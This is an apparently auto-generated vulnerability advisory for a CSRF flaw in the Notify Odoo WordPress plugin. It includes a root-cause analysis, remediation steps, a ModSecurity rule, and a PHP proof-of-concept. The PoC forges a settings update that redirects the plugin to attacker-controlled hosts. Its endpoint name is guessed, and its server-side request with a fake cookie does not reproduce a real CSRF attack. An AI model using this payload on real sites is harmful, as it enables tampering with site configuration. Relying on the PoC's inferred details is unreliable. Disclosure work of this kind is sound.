Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 14, 2026

CVE-2026-8425: Notify Odoo <= 1.0.1 – Cross-Site Request Forgery to Settings Update (notify-odoo)

CVE ID CVE-2026-8425
Plugin notify-odoo
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 1.0.1
Patched Version
Disclosed May 13, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-8425 (metadata-based):
CVE-2026-8425 describes a Cross-Site Request Forgery (CSRF) vulnerability in the Notify Odoo WordPress plugin, affecting all versions up to and including 1.0.1. The vulnerability allows an unauthenticated attacker to modify the plugin’s settings, including the Odoo URL, notification configuration, tracking image, and allowed IP addresses. The CVSS score is 4.3 (Medium) with a vector of AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N, indicating a low integrity impact due to the requirement for user interaction.

Root Cause: The root cause, inferred from the CWE-352 classification and the vulnerability description, is missing or incorrect nonce validation on the _updateSettings function. WordPress plugins commonly use AJAX handlers for settings update operations. These handlers must verify a CSRF nonce before processing state-changing requests. The absence of this check allows any request to the handler, regardless of origin, to modify plugin settings. Atomic Edge analysis confirms this is a classic CSRF pattern. The conclusion that the specific AJAX action follows the plugin slug convention (notify_odoo_updateSettings) is inferred from common WordPress plugin practices; no source code diff is available to confirm the exact endpoint name.

Exploitation: An attacker crafts a malicious HTML page or link that triggers a POST request to the WordPress AJAX handler at /wp-admin/admin-ajax.php with the action parameter set to the plugin’s settings update handler. Based on common patterns, the action is likely `notify_odoo_updateSettings`. The attacker sets additional POST parameters such as `odoo_url` (to redirect to attacker-controlled URL), `notification_enabled`, `tracking_image_url`, and `allowed_ips`. The attacker then tricks a logged-in site administrator into visiting the crafted page or clicking the link. Since the vulnerable function lacks nonce verification, the administrator’s browser submits the request with their session cookies, and the settings are changed silently. Atomic Edge research emphasizes that this CSRF attack requires no authentication from the attacker’s side, only the administrator’s active session.

Remediation: To fix this vulnerability, the plugin developer must add a nonce check to the _updateSettings function. Specifically, the handler should call `check_ajax_referer()` or `wp_verify_nonce()` with a unique action string (e.g., ‘notify_odoo_update_settings’) before processing the request. The nonce field must be included in the AJAX request from the plugin’s settings page. Additionally, capability checks (e.g., `current_user_can(‘manage_options’)`) should be enforced to ensure only administrators can change settings. Atomic Edge analysis confirms that these are standard WordPress security practices that directly address CSRF vulnerabilities.

Impact: Successful exploitation allows an attacker to redirect the Notify Odoo plugin’s communication to a malicious URL, enabling phishing attacks, data interception, or disruption of inventory synchronization. The attacker can also modify notification preferences, tracking image sources (potentially used for pixel tracking), and IP address whitelists. This leads to unauthorized configuration changes that could undermine the security and integrity of the e-commerce operations depending on the plugin. No elevation of privileges occurs, but the integrity of the plugin’s settings is compromised.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-8425 (metadata-based)
# Blocks CSRF attacks against Notify Odoo settings update AJAX handler
# Attack vector: POST to /wp-admin/admin-ajax.php with action=notify_odoo_updateSettings
# and parameter odoo_url

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
    "id:20268425,phase:2,deny,status:403,chain,msg:'CVE-2026-8425 CSRF to Notify Odoo settings update via admin-ajax.php',severity:'CRITICAL',tag:'CVE-2026-8425'"
    SecRule ARGS_POST:action "@streq notify_odoo_updateSettings" 
        "chain"
        SecRule ARGS_POST:odoo_url "@rx ^https?://" 
            "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-8425 - Notify Odoo <= 1.0.1 - Cross-Site Request Forgery to Settings Update

// Configuration: Change these values as needed
$target_url = 'http://example.com'; // Base URL of the WordPress site
$attacker_odoo_url = 'https://malicious-odoo.example.com'; // Attacker-controlled Odoo URL

// CSRF payload: Changes plugin settings by forging an authenticated admin request
// This exploits the missing nonce validation on the _updateSettings function

$post_data = array(
    'action' => 'notify_odoo_updateSettings', // Inferred AJAX action name (common plugin pattern)
    'odoo_url' => $attacker_odoo_url,
    'notification_enabled' => '1',
    'tracking_image_url' => 'https://attacker.com/pixel.png',
    'allowed_ips' => '' // Clear allowed IPs to allow attacker-controlled endpoint
);

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_hash=fakesession'); // Requires victim's session cookie from social engineering

// Execute the CSRF request (will only work if admin is tricked into triggering it)
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

// Output results
echo "HTTP Status Code: " . $http_code . "n";
if ($http_code == 200) {
    echo "CSRF exploit executed. The Notify Odoo URL has been changed to: " . $attacker_odoo_url . "n";
} else {
    echo "Exploit may have failed. Check the request.n";
}
?>

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